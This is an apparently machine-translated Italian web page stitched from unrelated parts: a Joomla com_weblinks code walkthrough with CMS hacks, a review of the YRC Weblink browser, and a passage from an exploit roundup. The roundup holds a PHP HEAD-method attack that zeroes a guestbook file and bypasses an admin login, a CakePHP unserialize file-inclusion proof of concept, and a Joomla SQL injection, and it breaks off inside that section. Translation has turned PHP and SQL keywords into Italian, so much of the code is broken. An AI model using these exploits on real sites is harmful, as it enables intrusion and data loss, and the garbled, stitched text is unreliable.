Casa / Tutorial Windows / Torta a strati e com_weblinks Joomla. Hack e componenti aggiuntivi Collegamenti web grigi php

Torta a strati e com_weblinks Joomla. Hack e componenti aggiuntivi Collegamenti web grigi php

Il punto di accesso a Joomla! componente è simile per la maggior parte dei componenti. Per questo esempio, utilizzeremo uno dei componenti principali di Joomla: collegamenti Web (collegamenti a siti). Il primo file da eseguire nel front-end: …/componenti/com_weblinks/weblinks.php.

Per prima cosa vediamo un controllo di sicurezza progettato per assicurarsi che nessuno possa chiamare direttamente questa pagina. Questo è lo standard che dovrebbe essere utilizzato in tutti i tuoi file php (anche se ci sono alcune eccezioni):

Controlliamo la stringa di query per vedere se è stato inviato un nome di controller specifico. In tal caso, ci assicuriamo di poter caricare il file richiesto nella directory dei controller:

// Richiede un controller specifico se richiesto if ($controller = JRequest::getWord("controller" ) ) ( $path = JPATH_COMPONENT. ds. "controllers" . ds. $controller . ".php" ; if (file_exists ($path ) ) ( require_once $path ; ) altro ( $controller = "" ; ) )

Ora creiamo un'istanza della nostra classe controller usando il nome che abbiamo definito sopra:

Non appena l'attività è completata, effettuiamo un reindirizzamento se necessario:

// Reindirizzamento se impostato dal controller$controllore -> reindirizzamento();

Classe controllore

Il controller generico (specifico) per il componente link è qui: …/componenti/com_weblinks/controller.php.
L'intera classe definisce il metodo di visualizzazione, che è l'impostazione predefinita a meno che l'utente non definisca un'altra attività.

definito ("_JEXEC" ) o die ("Accesso limitato" ); jimport( "joomla.application.component.controller") ; /** * Weblinks Component Controller * * @package Joomla * @subpackage Weblinks * @since 1.5 */ class WeblinksController estende JController ( /** * Metodo per mostrare una vista dei collegamenti web * * @access public * @since 1.5 */ funzione display() ( // Imposta una visualizzazione predefinita se non esiste if ( ! JRequest:: getCmd ( "view" ) ) ( JRequest:: setVar ("view" , "categories" ) ; ) //aggiorna il numero di accessi per il collegamento web if (JRequest::getCmd("view" ) == "weblink" ) ( $model =& $this -> getModel("weblink" ) ; $model -> hit() ; ) // Visualizza la logica di memorizzazione nella cache -- semplice... siamo loggati?$utente = &JFactory::getUser(); $view = JRequest::getVar("view" ); $viewcache = JRequest::getVar("viewcache" , "1" , "POST" , "INT" ) ; if ($user -> get ("id" ) || ($view == "category" && $viewcache == 0 ) ) ( parent:: display (false ) ; ) else ( parent:: display (true ) ; ) ) )

In questo metodo, impostiamo la vista predefinita (vista): mostra le categorie se nessun'altra vista è stata passata come parametro della stringa di query. Se la visualizzazione richiesta è un collegamento Web, incrementiamo il conteggio delle visualizzazioni del collegamento. Quindi impostiamo il valore della variabile view e chiamiamo diplay della nostra classe genitore JController.
Vale la pena prestare particolare attenzione alla chiamata al metodo getModel. Scarica il necessario modello per il componente. In questo esempio, questo metodo caricherà il modello di collegamento web trovato qui: …/components/com_weblinks/models/weblink.php.
Qui siamo d'accordo che non abbiamo chiesto certa rappresentazione e quindi la nostra vista sarà impostata su categorie.
Successivamente, apriamo la classe di visualizzazione.

Visualizza classe (Visualizza classe)

Dal momento che stiamo assumendo di volere una vista per categoria, questa è - file successivo essere giustiziato: …/components/com_weblinks/views/categories/view.html.php

// Verifica che questo file sia incluso in Joomla! definito ( "_JEXEC" ) o die ( "Accesso limitato" ); jimport( "joomla.application.component.view") ; /** * HTML View class per il componente WebLinks * * @static * @package Joomla * @subpackage Weblinks * @since 1.0 */ class WeblinksViewCategories estende JView ( function display( $tpl = null ) ( global $mainframe ; $document =& JFactory::getDocument () ; $categories =& $this -> get ("data" ) ; $total =& $this -> get ("total" ); $stato =& $this -> get ("stato" ); // Ottieni la configurazione della pagina/componente$params = & $mainframe -> getParams() ; $menu = &JSito::getMenu(); $menu = $menu -> getActive() ; // poiché l'applicazione imposta un titolo di pagina predefinito, dobbiamo ottenerlo // direttamente dalla voce di menu stessa if (is_object ( $menu ) ) ( $menu_params = new JParameter( $menu -> params ) ; if (! $menu_params -> get ( "page_title" ) ) ( $params -> set ("page_title" , JText:: _( "Web Links" ) ) ; ) ) else ( $params -> set ("page_title" , JText:: _( "Web Links" ) ) ; ) $document -> setTitle ( $params -> get ( "page_title ")); // Imposta alcuni valori predefiniti se non impostati per params$params -> def ("descrizione_comp" , JText:: _("WEBLINKS_DESC" ) ) ; // Definisce gli attributi dei tag immagine if ($params -> get ("image" ) != - 1 ) ( if ($params -> get ("image_align" ) != "" ) $attribs [ "align" ] = $params -> get (" image_align" ); else $attribs [ "align" ] = "" ; $attribs [ "hspace" ] = 6 ; // Utilizza la libreria HTML statica per creare il tag immagine$image = JHTML:: _("image" , "images/stories/" . $params -> get ("image" ) , JText:: _("Web Links" ) , $attribs ) ; ) per ($i = 0 ; $i< count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category ->collegamento = JRoute::_( "index.php?option=com_weblinks&view=category&id=". $categoria -> lumaca ); // Prepara la descrizione della categoria$categoria -> descrizione = JHTML:: _("content.prepare" , $categoria -> descrizione ) ; ) $questo -> assegnaRif ("immagine" , $immagine ) ; $this ->assignRef ("params" , $params ) ; $this -> assegnaRif ("categorie" , $categorie ) ; parent::display($tpl) ; ) ) ?>

Ancora una volta, questa è una classe molto semplice con un unico metodo di visualizzazione. La maggior parte della logica qui è specifica per il componente di collegamento, ma se guardi da vicino puoi trovare funzionalità utilizzate nella maggior parte delle classi di visualizzazione dei componenti. Alla fine del metodo display, questa classe chiama il genitore (JView) metodo di visualizzazione, passando il nome del modello da visualizzare. Se non viene passato alcun nome di modello di visualizzazione, viene utilizzato il modello "predefinito".
Infine, apriamo la classe modello.

Classe modello

Accettiamo che non sia stato passato un nome di modello specifico, quindi verrà utilizzato il modello predefinito. In questo caso, il prossimo file da considerare è: …/components/com_weblinks/views/categories/tmpl/default.php
-> escape ($this -> params -> get ("page_title" ) ) ; ?>

params -> def ("immagine" , - 1 ) != - 1 ) || $this -> params -> def ("show_comp_description" , 1 ) ) : ?>
image ) ) : echo $this -> image ; finisci se; echo $this -> parametri -> get("comp_description" ) ; ?>
    categorie come $category ) : ?>
  • escape ($categoria -> titolo); ?> (numlink ; ?> )

La maggior parte della logica qui è specifica per il componente in esecuzione. Inoltre, il codice mostra che in questo file tutto l'HTML è mescolato con PHP: queste sono le sue caratteristiche e il suo scopo.

Altri file utilizzati nei componenti

Alcuni degli altri tipi di file che potresti trovare nei componenti:

  • Helper - I componenti usano spesso un file helper.php o una directory helper con molti file. Questi file di solito contengono solo common funzionalità per il componente.
  • Assets sembra essere la cartella all-inclusive per altri file inclusi nel componente.
  • router.php - questo file viene utilizzato, quando l'impostazione dell'URL SEF è abilitata, per tradurre l'URL in entrambe le direzioni (in leggibile dall'uomo con alias e nella vista di sistema di Joomla con parametri).
  • xml - di solito definiscono i parametri e altre informazioni sul componente e la sua panoramica. Vengono utilizzati, ad esempio, durante la creazione di voci di menu dei componenti.
  • indice.html buona pratica avere un file index.html vuoto in tutte le directory. Questa è una misura di sicurezza così passiva.
  • css/images/js - cartelle che contengono vari file per implementare design e funzionalità sul lato client (nel browser).

C'è un suggerimento in archivio /include/joomla.php in funzione cleanText sostituire la riga

$testo = strip_tags($testo); $testo = strip_tags ( $testo , " " ) ;

Questo hack è previsto soltanto per le immagini incollate come immagini normali. Per le immagini inserite da un mambot (mosimage), questo hack non funzionerà.

Come creare un collegamento diretto nel componente com_weblinks

IN weblinks.html.php devi sostituire la riga:

$link = sefRelToAbs( "index.php?option=com_weblinks&task=view&catid=". $catid."&id=" . $riga ->id ); $link = $riga ->url ;

Come far funzionare Joomla su due host (domini) contemporaneamente. Quelli. ad esempio, nella rete locale su 10.0.0.15 e dal sito Internet-company.ru. Dato che entrambi gli indirizzi sono sulla stessa macchina.

In primo luogo, l'intero punto del problema sta nel fatto che Joomla fornisce tutte le immagini ei file CSS (i loro percorsi nel modello) relativi alla loro variabile $mosConfig_live_site - l'indirizzo di base del sito inserito durante l'installazione. E se qualcuno tenta di accedervi con un indirizzo diverso, non cambia nulla nella logica del suo funzionamento: l'indirizzo di base viene preso dal file di configurazione. Ad esempio, se la configurazione dice che Joomla si trova su localhost, allora la chiamata from rete locale, anche se non cambia nulla in un Apache correttamente configurato che ascolta l'indirizzo 192.168.0.1 - l'src delle immagini inizierà comunque con "localhost", che per altre macchine sarà già il proprio localhost. per tali casi è una variabile di sostituzione $mosConfig_live_site per l'host richiesto in modo che tutte le funzioni possano restituire i collegamenti corretti e guidare già l'utente in un modo o nell'altro del sito virtuale (fornire i percorsi di base corretti per le immagini e i percorsi di base per gli indirizzi). è un mambot del sito live automatico che può automatizzarlo. Se non ti soddisfa con qualcosa, in linea di principio può essere ripetuto, per questo in configurazione.php al posto della definizione di $mosConfig_live_site devi scrivere il tuo codice. Qualcosa di simile a:

if ($_SERVER [ "HTTP_HOST" ] == "host1.ru" ) $mosConfig_live_site = "host1.ru" ; altro $mosConfig_live_site = "host2.ru" ;

Va notato che nel caso di utilizzo di una cache, è necessario disporre anche di due diverse directory di memorizzazione nella cache per due host, poiché i collegamenti a host diversi possono incrociarsi nella cache e quindi l'utente dalla rete sbagliata non andrà da nessuna parte . La variabile $mosConfig_cachepath è responsabile della cache.

Come far apparire contemporaneamente due componenti sulla stessa pagina

Lascia che te lo dica subito: non è così semplice. Un componente non è un modulo. Pertanto, in primo luogo, vale la pena cercare un'alternativa, ad es. di sicuro, i moduli che possono ripetere la sua funzionalità vanno al componente popolare. Se non ce n'è, allora questa opzione. Puoi crearlo come modulo o, in teoria, puoi inserirlo nel modello. L'idea è questa: chiamare il componente tramite index2.php (cosa e perché - leggi il fatto completo). Quelli. puoi creare un iframe con src="index2.php?option=com_component&no_html=1" nel punto in cui desideri inserire il secondo componente. E apparirà lì. Un'altra cosa è che è improbabile che sia possibile garantire pienamente la funzionalità. Tuttavia, questa è la via d'uscita.

Oppure usa il costrutto: mosLoadComponent("com_mycomp" ) ;

Ma se il componente viene eseguito in questo modo, allora devi capire che non è a conoscenza delle tue manipolazioni e funzionerà secondo $option e $task.

Come aumentare la lunghezza del titolo in un articolo

Devi eseguire i seguenti due comandi in phpMyAdmin (c'è una pagina speciale per l'esecuzione di query SQL), solo tu devi sostituire #### con il tuo vero prefisso della tabella. Il numero massimo possibile è 255. Nell'esempio viene utilizzato 200.

ALTER TABLE `####_content` CHANGE `title_alias` `title_alias` VARCHAR(200) NOT NULL; ALTER TABLE `####_content` CHANGE `title` `title` VARCHAR(200) NOT NULL;

Come includere il testo completo delle notizie nel feed RSS, non solo i titoli

Per fare ciò, nel file /components/com_rss/rss.php, è necessario sostituire

$item_description = $riga ->testo introduttivo; $item_description = $riga ->testo completo;

Come posso creare due siti Joomla utilizzando lo stesso database o utilizzando gli stessi file

Per quanto riguarda l'utilizzo di un database, devi scrivere un database in configuration.php per due motori, ma devi capire cosa stai facendo. Per mantenere le sessioni per gli utenti in questo caso sarà molto problematico, perché i domini sono diversi. Quelli. le voci della tabella #__sessions si sovrapporranno (possono sovrapporsi).

Se desideri utilizzare gli stessi file senza copiare una grande distribuzione, in linea di principio puoi utilizzare il comando "ln -s" in Linux per creare collegamenti simbolici a file esistenti e non copiarli per un nuovo sito.

Come creare una pagina virtuale disponibile a un indirizzo specifico in Joomla General Design (http://site.ru/super_page)

  • Il primo modo è utilizzare un componente SEF, in cui è necessario specificare il percorso virtuale necessario per una pagina statica. C'è un aspetto negativo qui: questo componente inizierà a rifare tutti gli altri collegamenti (e in generale questi componenti sono molto voraci e richiedono molte risorse per funzionare).
  • Crea un alias per tale pagina usando mod_rewrite E .htaccess. Per questo hai bisogno di:
    • Crea una pagina statica con il testo che ti serve, scopri il suo ID e indirizzo (non è necessario creare una pagina del genere, potrebbe già esistere e in generale è solo una sorta di componente, non necessariamente com_content)
    • Trova un alias, lascia che sia " super_puper"
    • Apri .htaccess e prima della riga "RewriteCond %(REQUEST_FILENAME) !-f" scrivi:
RewriteRule ^(super_puper) index.php?option=com_content&task=view&id=12 RewriteCond %(REQUEST_FILENAME) !-f
    • E ora, a condizione che Joomla si trovi su site.ru, quando apri il link http://site.ru/super_puper, si aprirà la pagina statica necessaria con le tue informazioni. Il link stesso "index.php?option=com_content&task=view&id=12" può essere quello di cui hai bisogno, l'importante è che il link non era assoluto (cioè con http:/ /...) e relativo ( dovere inizia con index.php?...)

Come disabilitare la memorizzazione nella cache per un articolo specifico

Questo potrebbe essere necessario se stai usando il mambot rd_addphp per inserire qualsiasi script che dovrebbe generare numeri casuali o testo casuale ogni volta, indipendentemente dal sistema di memorizzazione nella cache di Joomla. Per disabilitare la memorizzazione nella cache di un determinato articolo, devi scoprire il suo ID (nel pannello di amministrazione, durante la modifica, dai un'occhiata a barra degli indirizzi, dirà qualcosa come "...&id=123..."). Quindi 123 sarà il nostro ID articolo. È necessario, nel file /components/com_content/content.php, approssimativamente alla riga 1600, sostituire

$cache ->call( "HTML_content::show" , $row , $params , $access , $page ); if ($row ->id !="123" ) $cache ->call ( "HTML_content::show" , $row , $params , $access , $page ); else HTML_content::show ($row , $params , $access , $page );

Dove 123 è l'ID articolo di cui hai bisogno.

Ho installato molti componenti e l'elenco dei componenti nel menu di amministrazione ne mostra un numero ridotto, quindi dice "Altri componenti ...". Come visualizzare tutti i componenti.

È necessario nella riga del file /administrator/modules/mod_fullmenu.php

$topLevelLimit = 19 ;

sostituito da

$topLevelLimit = 199 ;

Come installare una copia di un componente

Devo dire che il compito è estremamente difficile. Se non capisci come funziona il componente, non dovresti nemmeno provarci. Per coloro che vogliono ancora, notiamo i punti principali:

  • Nel file XML, rinominare il nome del componente nel tag del nome
  • Successivamente, è necessario rinominare le tabelle utilizzate (in primo luogo nel file XML e in secondo luogo in tutti i file componenti, ovunque venga utilizzato l'oggetto database $database e metodo setQuery)
  • Rinomina anche tutti i percorsi nei componenti. I percorsi possono essere utilizzati in modo autoreferenziale o includere nomi di file. Molto spesso, questo si riduce a trovare la sottostringa com_componentname e sostituirla con una nuova.

Ma questo metodo non garantisce nulla. Con quelli semplici, questo è possibile e passerà, ma con quelli complessi nessuno garantirà.

Come fare in modo che una posizione mostri in modo casuale uno dei moduli ad essa assegnati

  • Opzione 1 - hack mosLoadModules. Nel template, dove è necessario visualizzare uno degli N moduli, scriviamo (attenzione al terzo argomento):
mosLoadModules("posizione" , display_setting,true );

E correggiamo leggermente la funzione precedente stessa:

function mosLoadModules( $position ="left" , $style =0 , $show_random = false ) ( ... $allModules =& initModules() ; if (isset ( $GLOBALS [ "_MOS_MODULES" ] [ $position ] ) ) ( $modules = $GLOBALS [ "_MOS_MODULES" ] [ $position ] ; ) else ( $modules = array () ; ) //aggiungi qui if ($show_random && sizeof ($modules ) >0 ) ( $tmp = $modules [ rand (0 ,sizeof ($modules ) -1 ) ] ; $modules = array ($tmp ) ; ) //fine di append if (count ($modules)< 1 ) { $style = 0 ; }

Abbiamo aggiunto un terzo argomento (che è usato nel template, dove abbiamo scritto true) e modificato il codice.

  • L'opzione due è più indolore, modifichiamo solo il modello. Ma più laborioso: dobbiamo creare diverse posizioni. Innanzitutto, creiamo diverse nuove posizioni del modulo, ad esempio new1 ... new10. Salviamo. Nel posto giusto del template, prima di chiamare la funzione mosLoadModules, aggiungi il codice necessario:
$rand_num = rand (1 ,10 ); //da 1 a 10 - come nel nome della posizione mosLoadModules ( "nuovo" .$rand_num , display_setup) ;

Credo che rinominando la cartella /administrator/ renderò il mio sito più sicuro

Per impostazione predefinita, questa opzione non è fornita. Ma in realtà è possibile, organizzando una ricerca nei file Joomla, sostituire qualsiasi occorrenza di tale parola con la tua - segreto. A volte quindi probabilmente appariranno errori relativi all'impossibilità di accedere ai file, ma conoscendo il file e il numero di riga possono essere corretti. Pertanto, il problema è, in linea di principio, risolvibile.

Il browser YRC Weblink è creato e distribuito dalla società di software indiana YRC Group Inc. E quindi, come pagina iniziale l'impostazione predefinita è Google indiano :))

I programmatori indiani sono considerati tra i più fighi del mondo (dopo russo e cinese :), ma qualcosa è andato storto con questo browser, perché è solo una specie di vacanza, non un browser. Le idee che hanno cercato di implementare in questo browser sono fantastiche, ma l'implementazione stessa è fuori controllo. Il browser funziona "attraverso un mazzo di monconi", cioè strano e cattivo. Provato su due computer diversi- sotto Windows 7 e sotto Windows 8 - glitch e blocchi qua e là.

Comunque andiamo con ordine.

Dopo l'installazione, il browser richiede di selezionare alcune impostazioni (come, ad esempio, visto nello screenshot sopra) e, inoltre, di creare un account per la sincronizzazione del cloud e l'archiviazione di impostazioni, segnalibri, note e file.

Grande idea! Premo il link Iscriviti, che significa "Registrati", si apre un sito con immagini divertenti, ma per qualche motivo non si apre in YRC Weblink, ma nel browser che è installato di default sul computer e questa è la prima stranezza. Un'altra stranezza è che devi inserire molti dei tuoi dati - perché? Ad esempio, nel browser Maxthon, per registrarsi nel cloud, è sufficiente inserire un'e-mail e una password, che è molto più semplice, più piacevole e non pone domande.

Ok, inserisco tutti questi dati. Arriva un'e-mail per confermare il mio account, clicco sul link, ma il sito mi dice "Oops! - Non riesco a trovare i tuoi dati nel database". Ma poi arriva un'altra lettera con un nuovo collegamento, clicco sul collegamento e di nuovo - Oops! Tuttavia, nel corso di questi aumenti, arriva una terza lettera che dice: congratulazioni, il tuo account è stato verificato! Questa è una sorta di verifica dell'account indiano.

Apro il browser, le impostazioni, provo ad importare i segnalibri. Il browser a distanza ravvicinata non vede il file dei segnalibri del formato .html, che tutti i browser a me noti vedono, comprendono e accettano senza problemi. Inserisco manualmente il nome del file, faccio clic su Importa e ottengo un rapporto: i segnalibri sono stati importati correttamente!

Qui solo dove vengono importati con successo??? Né nel browser né nel cloud non lo sono. Ripeto ancora l'operazione e lo stesso risultato. Non importa. Andiamo avanti.

Nel cloud e nelle impostazioni c'è un elemento Notes. Ricordando le note nel browser Maxthon, che possono essere create utilizzando il blocco note integrato e che vengono salvate automaticamente nel cloud, provo a trovare qualcosa di simile in YRC Weblink, ahimè, senza successo. C'è una revisione delle note, ma non esiste uno strumento per crearle. Strano? E come!

Allora ok. Vediamo cos'altro abbiamo. Durante l'installazione, il browser stesso (senza chiedere) ha installato due collegamenti sul desktop: un collegamento al browser (questo è normale) e un collegamento a Twitter.

Facendo clic su questo collegamento si apre una finestra del browser separata con Twitter. Cosa diavolo sta facendo questo, e anche per impostazione predefinita? Forse non uso affatto Twitter? Ok, ho eliminato il collegamento di Twitter dal desktop, ma non c'era! Ora, quando fai clic sul collegamento del browser (non Twitter), nella barra delle applicazioni, il browser viene evidenziato da Twitter! Non ho mai visto un problema tecnico così festivo in vita mia!

A proposito, su queste tre finestre che vedi nello screenshot qui sopra. La finestra delle impostazioni di riepilogo si blocca ogni volta. E così puoi ridurlo solo disabilitando il processo nel Task Manager, in un modo diverso: niente. E puoi chiudere la finestra di sincronizzazione solo effettuando il logout nel sistema.

Se fai clic su "No", la finestra rimarrà sempre aperta. Nonostante il browser stesso, al contrario, si spenga spontaneamente di tanto in tanto. E cosa c'è di divertente: il browser si spegne e la finestra di riepilogo si blocca e finestra aperta Sincronizzazione: no, e si bloccano senza proprietario, abbandonati dal browser, finché non li tagli nel Task Manager. Glitch fatati!

Tuttavia, non sarebbe corretto non elencare lati positivi navigatore.

Innanzitutto, questa è la modalità navigazione anonima. Attiva questa modalità nelle impostazioni e il browser non utilizza la cache, i cookie, non registra la cronologia di navigazione. Ci sono browser che funzionano solo in questa modalità, come Browzar, che a volte è necessario, ma generalmente estremamente scomodo. E la possibilità di connettersi e disconnettersi rapidamente in questa modalità è un grande vantaggio per il browser.

In secondo luogo, YRC Weblink ha una scelta motore di ricerca predefinito. Tuttavia, devi scegliere da un elenco piuttosto specifico:

Tuttavia, l'indirizzo del motore di ricerca può essere impostato anche manualmente facendo clic sul pulsante Definisci nuovo (non è visibile nello screenshot, è sotto l'elenco).

Bene, l'ultimo, ma molto significativo vantaggio - YRC Weblink quasi non carica il sistema! Per fare un confronto, ho aperto 10 schede al suo interno e ho aperto 10 schede con gli stessi indirizzi nel browser Yandex (il leader tra i browser in termini di caricamento del sistema) e questa è l'immagine che si è rivelata.

Browser Yandex:

Non è difficile intuire che YRC Weblink sia quasi fuori concorso in questo senso, in senso buono.


RIEPILOGO. Se tutte le idee che i creatori hanno cercato di implementare in questo browser fossero fatte bene, non ci sarebbe prezzo per questo, YRC Weblink potrebbe affermare di essere il migliore, o almeno uno dei migliori browser. Ma con quei difetti che si osservano in esso, non ottiene nemmeno un "grado C". Lo valuto 3- .

Dopo il test, disinstallo il browser: non è assolutamente necessario disporre di un programma così difettoso sul computer. Bene, stiamo aspettando ulteriori passi da YRC Group Inc. I programmatori indiani saranno in grado di eliminare tutte le carenze e rilasciare davvero versione funzionante browser, onore e lode a loro. Non saranno in grado di farlo: ci sarà un altro browser nato morto al mondo.

Questo mese, i cercatori di bug non vogliono indulgerci con nuovi exploit di alto profilo in applicazioni popolari. Naturalmente, molti avvisi sono stati pubblicati nei prodotti di aziende note, ma pochissimi contengono codici PoC digeribili. Nella nostra recensione, ho cercato di raccogliere le vulnerabilità più significative e complete descritte di recente, quindi sedetevi e buona lettura.

Vulnerabilità PHP nella gestione delle richieste head HTTP

breve

Il 3 marzo, un certo Adam Ivanyuk ha scoperto caratteristica interessante nell'interprete PHP, che non elabora correttamente le richieste HEAD. Il ricercatore ha chiamato questa vulnerabilità "trucco del metodo HTTP HEAD negli script php".

Molti programmatori sviluppano i loro script PHP con la speranza che tutte le istruzioni scritte in essi vengano eseguite correttamente senza essere interrotte da qualche parte nel mezzo (specialmente negli script brevi). Questo è ciò che accade se lo script viene richiesto dall'utente finale utilizzando i metodi GET, POST, PUT.

Ma dovresti essere consapevole che ci sono altri metodi HTTP, come HEAD. È proprio durante l'elaborazione di questo metodo in PHP che può sorgere una falla di sicurezza.

Guardiamo una delle fonti dell'interprete: ./main/SAPI.c, riga 315:

if (SG(request_info).request_method &&
!strcmp(SG(request_info).request_method, "HEAD"))
{
SG(request_info).headers_only = 1;
...

Quando arrivano dati, viene eseguita la funzione php_ub_body_write. Quindi, guarda main/output.c, riga 699:

if (SG(request_info).headers_only) (
if(SG(headers_sent))
{
ritorno 0;
}
php_header(TSRMLS_C);
zend_bailout();
}

Qui puoi vedere che nel primo output dello schermo e quando usi il metodo HEAD, la funzione zend_bailout interrompe lo script.

Impresa

$line="Nick: ".htmlcaratterispeciali
($_POST["nick"])."

Testo: ".htmlspecialchars
($_POST["testo"])."


";
$f=fopen("libro.txt","r");
$data=fread($f,dimensionefile("libro.txt"));
fchiudi($f);
$f=fopen("libro.txt","w");
$dati=$riga.$dati;
echo $dati;
fscrivi($f,$dati);
fchiudi($f);
?>

Ora accediamo a questo script usando il metodo HEAD:

stream_context_get_default
(array("http"=>array("metodo"=>"HEAD")));
print_r(get_headers("http://site.com/guestbook.php"));
?>

Come previsto, il nostro Libro degli ospiti interromperà la sua esecuzione alla riga "echo $data;", quindi il file book.txt verrà semplicemente reimpostato a zero.
Questo esempio è piuttosto distruttivo. Nel secondo esempio, possiamo bypassare l'autorizzazione in un pannello di amministrazione primitivo:

inizio_sessione();
echo "Una lunga stringa contiene circa 4090 caratteri";
$_SESSION["admin"]=1;
if (!isset($_POST["pass"]) ||
$_POST["password"]!="qualchepassword")
{
eco " Password errata o vuota.
";
$_SESSION["admin_level"]=0;
}
?>

In questo script, quando accedi utilizzando i soliti metodi, viene impostata una variabile amministrativa nella sessione. Quindi, se l'utente ha inserito una password errata, questa variabile viene impostata su zero e l'utente non diventa amministratore.

Se accediamo al pannello di amministrazione tramite HEAD, la sua esecuzione verrà interrotta su un pezzo di codice con "echo", quindi la variabile amministrativa non verrà azzerata e possiamo tranquillamente girovagare per la parte chiusa dell'applicazione. Una cosa da notare qui è che la maggior parte dei server Web ha un valore di buffering di output di 4096 byte, quindi in un esempio funzionante potremmo aver bisogno della stringa "Una stringa lunga contiene circa 4090 caratteri".

Impresa

  • PHP<= 5.3.5

soluzione

Al momento di questa recensione, l'ultima versione di PHP è la versione 5.3.5. Non ci sono correzioni per questo bug, quindi posso solo consigliarti di rivedere attentamente le fonti dei tuoi script per situazioni impreviste quando usi il metodo HEAD.

Esecuzione di codice arbitrario in CakePHP

breve

CakePHP è il framework software più famoso (oltre 7.000.000 di menzioni su Google) per la creazione di applicazioni web, scritto in PHP e costruito sui principi del software open source. CakePHP implementa il pattern Model View Controller (MVC).

Inizialmente, questo framework è stato creato come clone del popolare Ruby on Rails, molte idee sono state prese in prestito da lì:

  • Struttura dei file propria;
  • supporto per molti plugin;
  • astrazione dei dati (PEAR::DB, ADOdb e sviluppo proprio di Cake);
  • supporto per molti DBMS (PostgreSQL, MySQL, SQLite, Oracle).

Non sorprende che un prodotto software così straordinario abbia ricevuto molta attenzione da molti pentester. Non molto tempo fa, una persona con il soprannome felix ha trovato un bug interessante in questo framework relativo ai metodi magici e all'uso della funzione unserialize (leggi di più su questa classe di vulnerabilità nei numeri dell'anno scorso della rivista).

Innanzitutto, apri il componente ./libs/controller/components/security.php e cerca il seguente codice responsabile della protezione dagli attacchi XSRF utilizzando le richieste POST:

funzione _validatePost(&$controllore)
{
...
$controllo = $controllore->dati;
$token = urldecode($check["_Token"]["campi"]);
if (strpos($token, ":")) (
lista($token, $bloccato) = esplodi(":", $token, 2);
}
$bloccato = unserialize(str_rot13($bloccato));
...
?>

Qui, l'array $check contiene i nostri dati POST e la variabile $locked è una stringa serializzata offuscata usando la funzione str_rot13(), che è completamente sotto il nostro controllo.

A questo punto vale la pena di divagare per chi non ha letto i relativi articoli in ][ e parlare brevemente del bug che si manifesta nei metodi magici di PHP. Quindi, nella versione 5 di PHP, è apparso il concetto di base della programmazione OOP: un costruttore e un distruttore. Il costruttore è implementato con il metodo "__construct" e il distruttore è implementato con il metodo "__destruct". Al termine del suo lavoro e quando chiamato tramite la funzione unserialize(), ogni oggetto esegue il proprio metodo __ destruct, se è scritto nel codice.

Ora torniamo al nostro framework e osserviamo il distruttore della classe App dal file ./libs/configure.php:

funzione __distruggi()
{
if ($this->__cache)
{
$core = App::core("torta");
unset($questo->__percorsi);
Cache::write("dir_map", array_filter($this->__percorsi),
"cake_core");
Cache::write("file_map", array_filter($this->__map),
"cake_core");
Cache::write("object_map", $this->__objects,
"cake_core");
}
}

Dal codice sopra, puoi capire che questo metodo può essere compromesso scrivendo valori arbitrari sull'oggetto Cache. La chiave più interessante da decifrare è 'file_map'. Gestisce i collegamenti tra le classi ei rispettivi file PHP e viene utilizzato anche per caricare classi aggiuntive in fase di esecuzione.

Il codice effettivo per il caricamento della classe sembra un po' più complicato, ma tutto si riduce al seguente codice dal metodo __load all'interno della classe App:

...
if (file_esiste($ file)) (
if (!$this->return) (
richiedi($file);
$this->__loaded[$file] = vero;
}
restituisce vero;
...
?>

Tombola! Sostituendo la variabile $file, possiamo includere il nostro codice PHP! Inoltre, questo sarà un vero bug di inclusione di file remoti, quindi non avremo bisogno di trucchi aggiuntivi con il caricamento di file locali sul server. Tuttavia, l'autore della vulnerabilità trovata suggerisce uno sfruttamento LFI di questo buco, perché CakePHP utilizza una cache locale basata su file, che si trova in forma serializzata in una directory nota al cracker.

Impresa

Come piccolo PoC per generare una stringa serializzata velenosa, felix suggerisce il seguente codice:

$x=nuovaApp();
$x->__cache=1;
$x->__map=array("Core" => array(
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"pippo" => "");
$x->__percorsi=array();
$x->__oggetti=array();
echo serializza($x);
?>

Ovviamente, devi prima includere le classi necessarie da CakePHP. Esiste anche un exploit Python completo, che puoi trovare su malloc.im/burnedcake.py .

Questo grafico dovrebbe funzionare in ogni applicazione creata con CakePHP che utilizza moduli POST con token di sicurezza e non ha modificato la posizione predefinita del file di cache. Per impostazione predefinita, l'exploit mostra la configurazione del database, altre utilità vengono facilmente aggiunte modificando il payload PHP integrato.

Obiettivi

  • TortaPHP<= 1.3.5, CakePHP <= 1.2.8

soluzione

Per correggere la vulnerabilità descritta, devi solo scaricare l'ultima versione del ramo CakePHP che stai utilizzando dal sito Web del produttore di cakephp.org.

Divulgazione del percorso e potenziali SQL injection in Joomla!

breve

Joomla è un sistema di gestione dei contenuti scritto in PHP e JavaScript e che utilizza un database MySQL come repository. È un software libero concesso in licenza sotto GNU GPL.

Se non ti sei imbattuto in Joomla! nelle tue attività di hacker, allora semplicemente vivi su un altro pianeta :). In questa recensione, voglio parlare di due potenziali iniezioni SQL in vari rami di Joomla contemporaneamente, che sono passate inosservate e non promosse.

Quindi, la prima iniezione è stata scoperta dai ragazzi dell'YGN Ethical Hacker Group (yehg.net/lab) nella versione 1.5.21 del motore.

Come scrivono gli stessi ricercatori, potenziali iniezioni SQL sono state scoperte da loro in Joomla! 1.5.20 come parte di uno studio su XSS. Questi bug sono stati immediatamente segnalati al team di sviluppo del motore, che ha presto rilasciato una versione "corretta" della 1.5.21. La parola "corretto" è tra virgolette perché gli sviluppatori hanno chiuso un occhio sulla maggior parte degli avvisi del team YEHG e speravano che queste vulnerabilità non fossero completamente sfruttabili, dal momento che Joomla! ha filtri di sicurezza delle stringhe incorporati.

Di conseguenza, i cercatori di bug hanno rivelato al pubblico in generale i dettagli dello sfruttamento delle potenziali iniezioni SQL scoperte, che noi, ovviamente, utilizzeremo.
Quindi, apri il file ./components/com_weblinks/models/category.php e trova il seguente codice al suo interno:

funzione _buildQuery()
{
$filter_order = $this->getState("filter_order");
$filter_order_dir = $this->getState("filter_order_dir");
$filter_order = JFilterInput::clean($filter_order, "cmd");
$filter_order_dir =
JFilterInput::clean($filter_order_dir, "parola");
// Abbiamo bisogno di ottenere un elenco di tutti
// collegamenti web nella categoria data
$query = "SELEZIONA *".
" DA #__collegamenti web" .
" DOVE catid = ". (int) $questo->_id.
" AND pubblicato = 1" .
"AND archiviato = 0".
" ORDINATO DA ". $ordine_filtro."".
$filter_order_dir .", ordinamento";
restituisce $interrogazione;
}

